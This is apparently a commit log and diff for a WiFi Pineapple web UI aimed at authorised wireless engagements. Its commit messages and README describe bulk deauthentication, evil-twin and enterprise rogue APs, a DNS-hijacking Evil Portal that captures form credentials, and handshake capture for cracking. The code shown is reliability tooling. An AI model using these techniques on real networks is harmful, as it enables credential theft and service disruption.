48 Commits
Author SHA1 Message Date
c4ch3c4d3 18bd6e3f9a feat(webui,dashboard): add RAM Usage card between Disk Usage and Uptime, live-verified on Pager 2026-08-24 18:12:32 -06:00
c4ch3c4d3 e683691a53 docs: spec for dashboard RAM usage card 2026-08-24 10:00:44 -06:00
c4ch3c4d3 ab92e7d278 feat(webui,evilportal): move Evil Portal tab under PineAP, live-verified on Pager 2026-08-24 09:12:55 -06:00
c4ch3c4d3 0f31bfe885 fix(portals,capture): round-2 validation fixes, live-verified on Pager
- portals: replace zipfile with struct+zlib ZIP writer in portal download
  (python3-light has no zipfile; GET /api/portals/<name>/download 500ed)
- capture: revive watchdog re-arms the 5 GHz deploy auto-capture if the
  post-deploy radio settle kills it (was: empty pcap, dead tcpdump)
- capture: route GET /api/attacks/capture to status (was unrouted -> 404)

New tests/test_validation_fixes2.py covers each fix (TDD); full suite
(30 modules) green. Live-verified: download CRC-clean via stock zipfile,
capture survived settle window and revived automatically (56 MB pcap),
GET status returns proper JSON.

Round-2 validation report added at docs/validation/ (8/9 attack types
PASS against in-scope networks; enterprise PARTIAL per firmware limits).
2026-08-24 08:23:26 -06:00
c4ch3c4d3 d23ea56364 fix(portals,dns,radio1,capture): live-validation fixes, verified on Pager 24.10.1
- portals: replace zipfile with struct+zlib ZIP reader (python3-light has
  no urllib; import endpoint was dead on device)
- dns hijack: uci add_list/del_list for dhcp.@dnsmasq[0].address (list
  option; plain set was silently dropped from generated dnsmasq config)
- radio1: bridge attack APs into br-lan via network.brlan.ports so
  victims get DHCP/portal reach; wlan1ent runtime-bridged after hostapd
  verify (retry loop may recreate the iface)
- capture: auto-start pinned wlan1mon pcap on 5GHz WPA deploy, teardown
  on stop; loot flows via hc22000 export (crack-verified end-to-end)
- enterprise: pineapd restart after ctrl link + re-assert PineAPE toggles

Documented residual: pineapd refuses forwarding from foreign hostapd
instances (broken pipe), and daemon set_ap rejects radio1 names - so
hostap_handshake rows for radio1 twins and enterprise cred tables cannot
populate without a Hak5 firmware change.

New tests/test_validation_fixes.py covers each fix (TDD); full suite
(29 modules) green.
2026-08-23 21:44:21 -06:00
c4ch3c4d3 88d7141d45 feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes
- Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm
- Deauth Targeting card: 'Deauth All' behind the same scope confirmation
- New POST /api/attacks/deauth/bulk (max 32 targets, per-target results)
- Evil Portal tab: import EvilPortalNano-format portal zips into
  /mmc/mk8/portals, serve active portal on port 80 to unauthenticated
  clients via a minimal PHP shim, capture all form POSTs (.logs in stock
  MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack
- OpenAP: Evil Portal template dropdown (greyed when none), activated with
  the attack and stopped with it
- Monitor Capture fix: iface-less status now reports whichever monitor is
  actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of
  discarded
2026-08-23 19:50:41 -06:00
c4ch3c4d3 f9eccd8030 docs: spec for deauth UX, evil portal tab, monitor capture fixes 2026-08-23 19:30:13 -06:00
c4ch3c4d3 ed50cd7b5a fix(enterprise,deauth,filters): PineAP validation round fixes, live-verified on Pager 24.10.1
- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
  clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
  - hostapd never wildcard-matches a bare `*` identity for phase-2
    lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
    which prefix-matches any inner identity
  - pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
    standalone responder; deploy forces 0 and stop restores 1
  Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
  (MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
  documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
  WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
  and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
  matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
  status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
  broke test_mk8_events/test_reliability_api under discovery; add
  regression coverage for all fixes above (463 tests green)

Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
2026-08-23 18:29:47 -06:00
bzuccaro a04319dfc8 feat(webui,recon): drop PineAP mode card, sort recon report APs by signal
- Remove the Passive/Active/Advanced mode card from the PineAP dashboard
  and move the RF Role (radio1) card into its slot, along with the now
  dead mode state machinery and mode-card-only CSS.
- Sort recon HTML report access points by signal strength (strongest first).
2026-08-23 09:29:10 -06:00
bzuccaro e316450271 docs: spec for PineAP dashboard mode-card removal 2026-08-23 09:20:19 -06:00
bzuccaro 2ef07a28fc feat(reliability): PSK uplink security-mode fallback chain (sae-mixed/sae/psk2 with PMF) 2026-08-23 08:19:20 -06:00
bzuccaro 501fa455ce fix(reliability): resolve STA netdev by phy membership (netifd ignores ifname); sae-mixed for PSK uplinks 2026-08-22 20:37:11 -06:00
bzuccaro 132cf4d77a fix(reliability): explicit hop baseline restore, immune to stale pager snapshot 2026-08-22 19:37:57 -06:00
bzuccaro 712d381093 fix(reliability): supervisor restores hop baseline unless a role holds the pause 2026-08-22 19:31:15 -06:00
bzuccaro 107cf17611 fix(ui): sync role select to live role; mark RF chip unavailable on poll failure 2026-08-22 19:26:39 -06:00
bzuccaro a1b449c9be fix(deploy): busybox ash lacks SECONDS; use date +%s for health deadline 2026-08-22 19:23:51 -06:00
bzuccaro 6b84665347 fix(deploy): no dangling symlink on first-deploy failure, deadline-capped health poll, release pruning, honest commit rc 2026-08-22 19:18:42 -06:00
bzuccaro 92a2a6d8ee docs: field runbook — checklists, engagement flow, recovery procedures 2026-08-22 19:11:04 -06:00
bzuccaro 55d4beb9d4 fix(reliability): probe section existence via uci show, not an option key 2026-08-22 18:59:57 -06:00
bzuccaro 1133068a09 fix(reliability): recreate missing pineapd section; honest uci-set reporting 2026-08-22 18:45:44 -06:00
bzuccaro 23ca901e82 feat(reliability): supervisor continuously enforces known-good UCI set 2026-08-22 18:37:22 -06:00
bzuccaro b9a64c6560 fix(reliability): supervisor re-parks stock-resurrected dummy STA on interval 2026-08-22 18:31:06 -06:00
bzuccaro 5625310977 fix(reliability): converge runtime after profile restore (park dummy STA, re-raise monitors) 2026-08-22 18:26:21 -06:00
bzuccaro 61c929d891 docs: reliability core subsystem guide (v1.4.0) 2026-08-22 18:17:27 -06:00
bzuccaro 60db235f0b fix(reliability): converge runtime on uplink revert; bound health endpoint cost (I3,I4) 2026-08-22 16:52:29 -06:00
bzuccaro b25c98b7c7 fix(reliability): hop governance belongs to rfplan, not boot reconciler (I2) 2026-08-22 16:51:52 -06:00
bzuccaro ba3e1b1ae0 fix(reliability): clear boot marker on graceful shutdown (I1) 2026-08-22 16:51:33 -06:00
bzuccaro 027646c905 fix(reliability): pool size counts any whitespace; deploy ZIP var remote-expands 2026-08-22 16:23:50 -06:00
bzuccaro eae47d99bf fix(reliability): encode str stdin in device_run; smoke drill path fixes + regression tests 2026-08-22 16:23:50 -06:00
bzuccaro d954b6e90d fix(smoke): conditional role drill, healthy-gate for drills, exit reaping 2026-08-22 16:01:32 -06:00
bzuccaro 25bae3b4a2 test(smoke): on-device reliability suite 2026-08-22 15:51:05 -06:00
bzuccaro 63528ff794 fix(deploy): unauth health poll, validate-before-gate, fullmatch names, reload-only-on-ok 2026-08-22 15:41:37 -06:00
bzuccaro 1bb15de258 feat(deploy): reliability API routes, atomic releases, version single-source 2026-08-22 15:20:39 -06:00
bzuccaro aba08e36c7 fix(ui): guard chip shows pending count, not raw list 2026-08-22 15:03:15 -06:00
bzuccaro 4c1144ab32 feat(ui): reliability panel events/counters, RF plan chip and controls 2026-08-22 14:55:49 -06:00
bzuccaro bace45d6e4 fix(reliability): rfplan review fixes — cli commit, assoc poll, ensure_attack wiring, idle reload 2026-08-22 14:35:12 -06:00
bzuccaro 15cd3c5eb8 feat(reliability): phy1 RF role manager with uplink-on-radio1 2026-08-22 14:20:05 -06:00
bzuccaro 78aab64af0 fix(reliability): watchdog max lifetime + serialized gate entry (review fixes) 2026-08-22 14:08:25 -06:00
bzuccaro a008bb9167 feat(reliability): risky-op preflight snapshots + detached rollback watchdog 2026-08-22 13:56:25 -06:00
bzuccaro 7a27218149 feat(reliability): supervisor sampling, event feed, boot marker 2026-08-22 13:41:49 -06:00
bzuccaro e329fd2a1c docs(plan): watchdog probe uses monitor presence, not stock-disabled wlan0mgmt 2026-08-22 13:27:33 -06:00
bzuccaro 7d1eb62d75 feat(reliability): START=49 boot guard installed by deploy 2026-08-22 13:26:09 -06:00
bzuccaro a05754f908 feat(reliability): boot-time UCI reconciler 2026-08-22 13:12:14 -06:00
bzuccaro 88e6471820 feat(reliability): UCI profile snapshot store 2026-08-22 13:00:59 -06:00
bzuccaro 1d17704f72 fix(reliability): journal fail-safe serialization, per-line parse, review hardening 2026-08-22 12:51:22 -06:00
bzuccaro 496f7c58e3 feat(reliability): JSONL event journal with rotation and counters 2026-08-22 12:39:19 -06:00
bzuccaro 2c24107f42 docs: plan — reliability core implementation 2026-08-22 11:59:16 -06:00
bzuccaro 4b03ecb1fd docs: spec — reliability core + integrated supervisor 2026-08-22 09:52:25 -06:00
45 changed files with 7621 additions and 226 deletions
+1
View File
@@ -6,3 +6,4 @@ __pycache__/
.openchamber/ .openchamber/
.opencode/ .opencode/
evidence/
+69 -1
View File
@@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at
Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick), Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
terminal. terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5
EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to
victims via DNS hijack on port 80, and captures form credentials.
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA - Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers, (WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
@@ -111,6 +113,44 @@ terminal I/O, and reboot persistence.
## Stability notes (Pager 24.10.1) ## Stability notes (Pager 24.10.1)
### Reliability Core (v1.4.0)
The factory `/etc/config/pineapd` ships every crash source below enabled, so
guards that only live inside Mark VIII revert on every reset/upgrade. v1.4.0
makes the fixes structural (payload-only — no firmware changes):
- **Boot guard** (`mk8-guard`, START=49): enforces the known-good UCI set
before the S50 pineapple stack starts; idempotent, diff-only commits,
logged to `/tmp/mk8-guard.log` and the event journal.
- **Profiles + rollback watchdogs**: every risky operation (AP deploy,
client-mode change, profile restore) first snapshots UCI under
`/mmc/mk8/profiles/`, then spawns a detached watchdog probing *local*
liveness (`127.0.0.1:8080` + monitor presence). Sustained failure →
automatic snapshot restore + `wifi reload`; recovery → promotes
`lastknown-good`. Watchdogs self-exit after 120 quiet ticks.
- **RF plan**: phy0 is always 2.4GHz ops; phy1 role-switches
uplink/attack/idle (`POST /api/rfplan/role`). The uplink STA lives on
radio1, so client-mode no longer blinds 2.4GHz recon. Hop governance
belongs to the role manager, not the boot guard.
- **Supervisor**: passive sampler (pidof/iw//proc only — never pineapd's
socket), bounded JSONL journal at `/mmc/mk8/events.log`, boot-marker
unexpected-reboot detection, memory watermark alerts. Dashboard shows
events feed + reliability counters + guard sync chip.
- **Atomic deploys**: `scripts/deploy.sh` stamps `VERSION` into build
copies only, sha256-verifies the upload, swaps `/mmc/mk8/releases/<ts>`
with a `current` symlink, polls local health, and auto-rolls back to the
previous release on failure.
- **Smoke suite**: `scripts/smoke.sh` on-device (read-only checks always;
`--write` adds reconcile/watchdog drills; `SMOKE_UPLINK_SSID=...` enables
the RF-role drill). All checks verified against live hardware including
reboot persistence.
Persistent state lives in `/mmc/mk8/` and survives reboots *and* firmware
upgrades (overlay wipes). A pre-reliability config backup is captured at
first deploy.
### pineapd crash sources found and fixed on this firmware
pineapd crash sources found and fixed on this firmware (verified on-device, pineapd crash sources found and fixed on this firmware (verified on-device,
zero crashes over sustained watches): zero crashes over sustained watches):
@@ -129,6 +169,34 @@ zero crashes over sustained watches):
`GET /api/health` reports pineapd/monitor state; the top bar shows a `GET /api/health` reports pineapd/monitor state; the top bar shows a
PINEAP OK / POOL OFF / PINEAPD DOWN chip. PINEAP OK / POOL OFF / PINEAPD DOWN chip.
### Live validation findings (v1.4.x, Pager 24.10.1)
Fixed after an on-hardware attack validation pass:
1. **Evil Portal import** no longer uses `zipfile` (pulls
`pathlib → urllib`, absent from python3-light). A minimal
`struct`+`zlib` ZIP reader handles stored/deflate entries.
2. **Portal DNS hijack** now uses `uci add_list/del_list`
(`dhcp.@dnsmasq[0].address` is a list option; a plain `uci set` was
silently dropped from the generated dnsmasq config).
3. **5 GHz attack APs are bridged** into `br-lan`
(`network.brlan.ports`) so victims get DHCP/portal reach; the
standalone enterprise AP (`wlan1ent`) is runtime-bridged after its
hostapd instance verifies ENABLED (the retry loop may recreate it).
4. **5 GHz WPA deploys auto-start a pinned `wlan1mon` capture** and the
matching stop tears it down: loot flows via pcap → `.hc22000` export
instead of the dead daemon path below.
Residual firmware limitation (not fixable in-process): pineapd refuses
handshake/PineAPE forwarding from hostapd instances it did not provision
itself (`PINEAP: could not send ... Broken pipe`), and the stock daemon's
`set_ap` rejects radio1 interface names ("Invalid access point
interface"). Consequences: `hostap_handshake` rows never populate for
radio1 evil twins (use the auto-capture + `.hc22000` export, which is
crack-verified end-to-end), and enterprise credentials never reach
`hostap_basic`/`hostap_chalresp` even though the AP terminates
PEAP/MSCHAPv2 successfully. Fixing these requires a Hak5 pineapd change.
## Security notes ## Security notes
- Auth via device password validated against the daemon; HttpOnly session - Auth via device password validated against the daemon; HttpOnly session
+1
View File
@@ -0,0 +1 @@
1.4.0
+93
View File
@@ -0,0 +1,93 @@
# Mark VIII Field Runbook
Operational procedures for running Mark VIII v1.4.0+ on a WiFi Pineapple
Pager. The reliability subsystem is documented in the README; this file is
the how-to-run-it companion.
## Pre-engagement checklist (2 minutes)
From the Dashboard health panel (or `scripts/smoke.sh` over SSH):
- [ ] Health chip green; guard chip shows `GUARD OK` (not PENDING).
- [ ] Both monitors present (`wlan0mon`, `wlan1mon`).
- [ ] Reliability counters sane: no unexpected boots since last check;
rollbacks/restarts at expected values.
- [ ] Recent events feed shows a clean `boot` entry for this session.
- [ ] RF plan as intended: `PHY0: OPS`, `PHY1:` in the state you want.
If anything fails: run `sh /tmp/smoke.sh` (re-upload via
`scp scripts/smoke.sh root@<ip>:/tmp/` if tmpfs was cleared) and read
which check fails before deploying to a target environment.
## During an engagement
- **Prefer phy1 for any uplink** (`POST /api/rfplan/role {"role":"uplink",
"ssid":...,"psk":...}`). phy0 stays fully hoppable for 2.4 GHz work.
Expect 5 GHz recon limited to the uplink's channel while associated.
- **Switching back**: `{"role":"attack"}` tears the STA down with a gated
reload; verify the RF chip flips and wlan1mon hops again.
- **Watch the events feed.** Occasional `guard_fix` entries are the
supervisor healing stock-daemon regressions (STA re-parks, UCI
re-applies) — normal. A stream of them means the stock UI is fighting
you: stop touching the stock PineAP page mid-engagement.
- **Rollback watchdogs** arm around risky operations. If the web UI dies
after an operation, wait ~60 s: the watchdog restores the pre-op snapshot
automatically or promotes the change once healthy. Do NOT power-cycle
before that window passes.
- **Never** hand-edit `/etc/config/pineapd` mid-engagement; use Mark VIII
endpoints. Hand edits race the stock daemon and the reconciler.
## After an engagement
1. Stop attacks and switch phy1 to `idle`.
2. Export loot (Handshakes export, HTML/CSV reports). Loot lives under
`/root/loot/**` and survives reboots — pull it off-box anyway.
3. Save a profile (Settings → Reliability), e.g. `post-<site>-<date>`.
4. Skim events for `rollback` / `mem_warn` entries worth noting.
## Recovery procedures
### Web UI unreachable but device seems alive
Wait 60 s — a rollback watchdog may be mid-restore. Then SSH:
curl -fsS http://127.0.0.1:8080/ >/dev/null && echo up
If still down, check whether a watchdog is running (`ps | grep watchdog`)
and let it finish; if it already rolled back but the UI did not return,
restart the service: `/etc/init.d/pagerwebui start`.
### Roll everything back to a known-good state
Settings → Reliability → restore `lastknown-good` (auto-captured whenever
the system has been healthy for 5 minutes), or over SSH:
python3 /mmc/mk8/releases/current/user/remote_access/pager-webui/server.py \
--rollback-snapshot lastknown-good
### After a firmware upgrade or factory reset
The overlay is wiped; Mark VIII is gone but `/mmc/mk8/` (profiles,
journal, releases) survives. Reinstall:
./scripts/deploy.sh --password '<device password>'
The deploy re-installs mk8-guard + service from your release; profiles and
history are still there. Verify with `sh /tmp/smoke.sh`.
### Device totally unreachable
Power cycle. On boot, mk8-guard re-applies safe PineAP UCI before pineapd
starts, so the device comes back crash-free even if the stock daemon had
been left in a bad state. If SSH is still refused after full boot, use the
Hak5 first-boot recovery for the firmware image you are on.
## Known limitations
- Role drill in smoke needs a real AP: `SMOKE_UPLINK_SSID=... [--write]`.
- While phy1 carries an uplink, 5 GHz recon sees only that channel
(radio physics, not a bug).
- Idle monitors park on one channel between scans; hopping resumes during
recon scans (verified: ch48 -> ch157 -> ch40).
- Journal is capped at 4 x 5 MB on /mmc; counters read the newest ~5000
entries.
@@ -0,0 +1,59 @@
# Dashboard RAM Usage Card — Design Record
- **Date:** 2026-08-24
- **Status:** Approved (design review), implementation pending
- **Scope:** Mark VIII WebUI dashboard — add a RAM Usage status card between
Disk Usage and Uptime, showing memory used / total in the same format as the
Disk Usage card.
## 1. Goal
The dashboard (`/` → Dashboard) currently shows status cards for Clients
Connected, Handshakes Captured, Disk Usage, and Uptime. Add a RAM Usage card
positioned after Disk Usage and before Uptime, displaying `used / total` (e.g.
`120 MB / 256 MB`) to match the Disk Usage card's presentation. The Pager is a
`ramips/mt76x8` device with 256 MB RAM.
## 2. Data source
The device's memory stats come from `/proc/meminfo` (available locally, since
the webui server runs on the Pager):
- `MemTotal` — total RAM in kB
- `MemAvailable` — available RAM in kB (falls back to `MemFree`)
`used = MemTotal - MemAvailable`, matching how `free` reports usage on OpenWRT.
The health check already parses this file via `_mem_percent()` (`server.py`)
but only exposes a percentage. The status endpoint has no memory field today.
## 3. Changes
### Backend — `payload/user/remote_access/pager-webui/server.py`
- Add `mem_data()`: parse `/proc/meminfo`, return
`{'size': total_bytes, 'used': used_bytes, 'avail': avail_bytes}` — the same
shape as `disk_data()` (which returns `{size, used, avail}` in bytes).
Return `{}` on parse failure, consistent with `disk_data()`.
- Wire into `status_data()` as `'mem': mem_data()`.
### Frontend — `payload/user/remote_access/pager-webui/www/js/views.js`
- Add `['mem', 'RAM Usage']` to the card `defs` array between
`['disk', 'Disk Usage']` and `['uptime', 'Uptime']` (dashboard view).
- In the status `update()` handler, render
`fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size)`; on missing data show
`Unavailable`; in the initial-load catch path set `—`, mirroring the disk
card's error handling.
### Tests — `tests/test_status.py`
- Add `mem_data()` parse test using a temp fake `/proc/meminfo` file
(the function takes an optional path argument, like `battery_data(base)`).
- Add `mem` to the `h_status` payload-shape key assertion.
## 4. Non-goals
- No memory graph/history — the Clients chart stays as is.
- No RAM percentage formatting on the card.
- No changes to the `/api/health` `mem_percent` metric.
@@ -0,0 +1,983 @@
# Mark VIII Reliability Core Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Make the Pager run reliably and consistently as expected via payload-only hardening: boot-time guard, config profiles with rollback watchdogs, RF role manager (uplink on phy1), integrated supervisor with event journal, atomic deploys, and an on-device smoke suite.
**Architecture:** Three layers inside the existing payload — `mk8-guard` init script (START=49, before the S50 pineapple stack), new `mk8_*.py` stdlib modules imported by `server.py`, and a passive supervisor thread extending the existing health monitor. Persistent state in `/mmc/mk8/` (survives reboots and overlay wipes).
**Tech Stack:** Python 3 stdlib only (`python3-light` on device: no urllib/http.server/sqlite3 modules), POSIX sh for device scripts, vanilla JS frontend, Bash + sshpass/scp for deploy tooling.
## Global Constraints
- Spec: `docs/superpowers/specs/2026-08-22-reliability-core-design.md` (approved).
- Device constraints: python3-light stdlib only; BusyBox (no `pkill`; use `killall`/`pidof`); never actively ping pineapd's command socket from loops; never run `wifi reload` outside gated operations.
- All persistent state under `/mmc/mk8/`. No writes to stock binaries or `/etc/config` outside reconciler/gated ops.
- Tests: stdlib `unittest`, one module per process (tests monkeypatch module state); run pattern:
`python3 -m unittest tests.test_<name> -v`
- Frontend checks: `node --check <file>` after every JS edit.
- Device access is **read-only until Task 10** (deploy + smoke). Password auth via `sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@172.16.52.1`.
- Branch: `feature/reliability`. Commit after every passing step.
- Version: single-source `VERSION` file at repo root; next version `1.4.0`.
## File Structure
```
payload/user/remote_access/pager-webui/
mk8_events.py NEW event journal (JSONL append/rotate/read + counters)
mk8_profiles.py NEW UCI snapshot store (/mmc/mk8/profiles)
mk8_guard.py NEW known-good invariants + reconcile() + CLI hooks
mk8_rfplan.py NEW phy1 RF role manager (uplink/attack/idle)
mk8_gate.py NEW risky-op preflight gate + watchdog decision logic
mk8-watchdog.sh NEW detached local-liveness rollback watchdog
mk8-guard.init NEW START=49 boot guard script (installed to /etc/init.d/mk8-guard)
server.py MOD imports, startup hook, h_health extension, /api/reliability/* + /api/rfplan/* routes, gates on risky handlers
www/js/views.js MOD health events feed, reliability counters, RF chip, Settings profiles card
www/js/app.js MOD nav wiring if needed
www/css/app.css MOD styles for new UI elements
scripts/deploy.sh MOD VERSION stamping, atomic release swap, post-deploy check, guard install
scripts/smoke.sh NEW on-device verification suite
VERSION NEW "1.4.0"
tests/test_mk8_events.py, test_mk8_profiles.py, test_mk8_guard.py,
tests/test_mk8_gate.py, test_mk8_rfplan.py, test_reliability_api.py NEW
```
---
### Task 1: Event journal (`mk8_events.py`)
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8_events.py`
- Test: `tests/test_mk8_events.py`
**Interfaces:**
- Produces: `log_event(kind, sev='info', msg='', meta=None)`; `read_events(limit=100)` → list of dicts newest-first; `counters()` → dict with keys `boots`, `unexpected_boots`, `rollbacks`, `restarts`, `guard_fixes`; `mark_boot()`; constants `MK8_DIR='/mmc/mk8'`, `EVENTS_PATH`, `MAX_BYTES=5*1024*1024`, `KEEP=4`.
- [ ] **Step 1: Write failing tests**
```python
import json, os, sys, tempfile, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_events
class EventsTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
self.old = mk8_events.MK8_DIR
mk8_events.MK8_DIR = self.dir
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
def tearDown(self):
mk8_events.MK8_DIR = self.old
def test_log_and_read_newest_first(self):
mk8_events.log_event('boot', msg='first')
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
rows = mk8_events.read_events()
self.assertEqual(rows[0]['kind'], 'rollback')
self.assertEqual(rows[1]['kind'], 'boot')
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
def test_counters(self):
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
c = mk8_events.counters()
self.assertEqual(c['boots'], 1)
self.assertEqual(c['rollbacks'], 1)
self.assertEqual(c['restarts'], 1)
self.assertEqual(c['guard_fixes'], 1)
def test_rotation_keeps_recent(self):
mk8_events.MAX_BYTES = 200
for i in range(20):
mk8_events.log_event('tick', msg='x' * 30)
self.assertTrue(len(mk8_events.read_events()) >= 15)
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.4'))
if __name__ == '__main__':
unittest.main()
```
- [ ] **Step 2: Run to verify failure**
Run: `python3 -m unittest tests.test_mk8_events -v`
Expected: FAIL — `No module named 'mk8_events'`
- [ ] **Step 3: Implement**
```python
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
import json, os, threading
MK8_DIR = '/mmc/mk8'
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
MAX_BYTES = 5 * 1024 * 1024
KEEP = 4
_LOCK = threading.Lock()
COUNTER_KINDS = ('boot', 'unexpected_boot', 'rollback', 'restart',
'guard_fix')
def _ensure_dir():
try:
os.makedirs(MK8_DIR, exist_ok=True)
except OSError:
pass
def log_event(kind, sev='info', msg='', meta=None):
entry = {'ts': int(__import__('time').time()), 'kind': str(kind),
'sev': sev, 'msg': msg[:500]}
if meta:
entry['meta'] = meta
line = json.dumps(entry) + '\n'
with _LOCK:
_ensure_dir()
try:
if os.path.exists(EVENTS_PATH) and \
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
for i in range(KEEP - 1, 0, -1):
src = '%s.%d' % (EVENTS_PATH, i)
dst = '%s.%d' % (EVENTS_PATH, i + 1)
if os.path.exists(src):
os.replace(src, dst)
if os.path.exists(EVENTS_PATH):
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
with open(EVENTS_PATH, 'a') as f:
f.write(line)
except OSError:
pass
def read_events(limit=100):
out = []
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
paths.append(EVENTS_PATH)
for path in paths:
try:
with open(path) as f:
out.extend(json.loads(l) for l in f if l.strip())
except (OSError, ValueError):
continue
out.sort(key=lambda r: r.get('ts', 0))
return out[-limit:][::-1]
def counters():
counts = {k: 0 for k in COUNTER_KINDS}
for row in read_events(limit=5000):
k = row.get('kind')
if k in counts:
counts[k] += 1
return counts
def mark_boot(unexpected=False):
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
if unexpected else 'info',
msg='service started' + ('' if unexpected else ' cleanly'))
```
- [ ] **Step 4: Run tests to pass**
Run: `python3 -m unittest tests.test_mk8_events -v` → PASS
- [ ] **Step 5: Commit**
```bash
git add payload/user/remote_access/pager-webui/mk8_events.py tests/test_mk8_events.py
git commit -m "feat(reliability): JSONL event journal with rotation and counters"
```
---
### Task 2: Profile store (`mk8_profiles.py`)
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8_profiles.py`
- Test: `tests/test_mk8_profiles.py`
**Interfaces:**
- Consumes: nothing.
- Produces: `snapshot(name)` → bool; `list_profiles()` → list of names; `restore(name)` → dict `{ok, restored:[...]}`; `auto_name(op)``'pre-<op>-<ts>'`; `promote_lastknown_good()`; `delete(name)`; uses `device_run` injected as module attr `run_cmd(args, timeout=20)` defaulting to `server.device_run` lazily (avoids import cycle: define own `_run` that callers/tests monkeypatch).
- [ ] **Step 1: Failing tests**
```python
import os, sys, tempfile, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_profiles
CONFIGS = ('pineapd', 'wireless', 'network')
class ProfilesTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
'wireless': 'config wireless\n', 'network': ''}
def fake_run(args, timeout=20):
a = list(args)
if a[:2] == ['uci', 'export']:
return (0, self.state.get(a[2], ''), '')
if a[:2] == ['uci', 'import'] or a[:2] == ['uci', 'commit']:
return (0, '', '')
return (0, '', '')
self.runs = []
mk8_profiles.run_cmd = lambda args, timeout=20: (
self.runs.append(list(args)) or fake_run(args, timeout))
def test_snapshot_and_list(self):
self.assertTrue(mk8_profiles.snapshot('testprof'))
self.assertIn('testprof', mk8_profiles.list_profiles())
def test_restore_issues_import_per_config(self):
mk8_profiles.snapshot('p1')
ok = mk8_profiles.restore('p1')
self.assertTrue(ok['ok'])
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
self.assertEqual(len(imported), len(CONFIGS))
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
self.assertGreaterEqual(len(commits), 1)
def test_auto_name_format(self):
name = mk8_profiles.auto_name('client_connect')
self.assertTrue(name.startswith('pre-client_connect-'))
if __name__ == '__main__':
unittest.main()
```
- [ ] **Step 2: Verify failure**`No module named 'mk8_profiles'`
- [ ] **Step 3: Implement**
```python
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
import os, time
PROFILES_DIR = '/mmc/mk8/profiles'
CONFIGS = ('pineapd', 'wireless', 'network')
def run_cmd(args, timeout=20):
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
from server import device_run
return device_run(args, timeout=timeout)
def _path(name):
return os.path.join(PROFILES_DIR, name)
def snapshot(name):
dest = _path(name)
try:
os.makedirs(dest, exist_ok=True)
wrote = False
for cfg in CONFIGS:
rc, out, err = run_cmd(['uci', 'export', cfg])
if rc != 0 or not (out or '').strip():
continue
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
f.write(out)
wrote = True
return wrote
except OSError:
return False
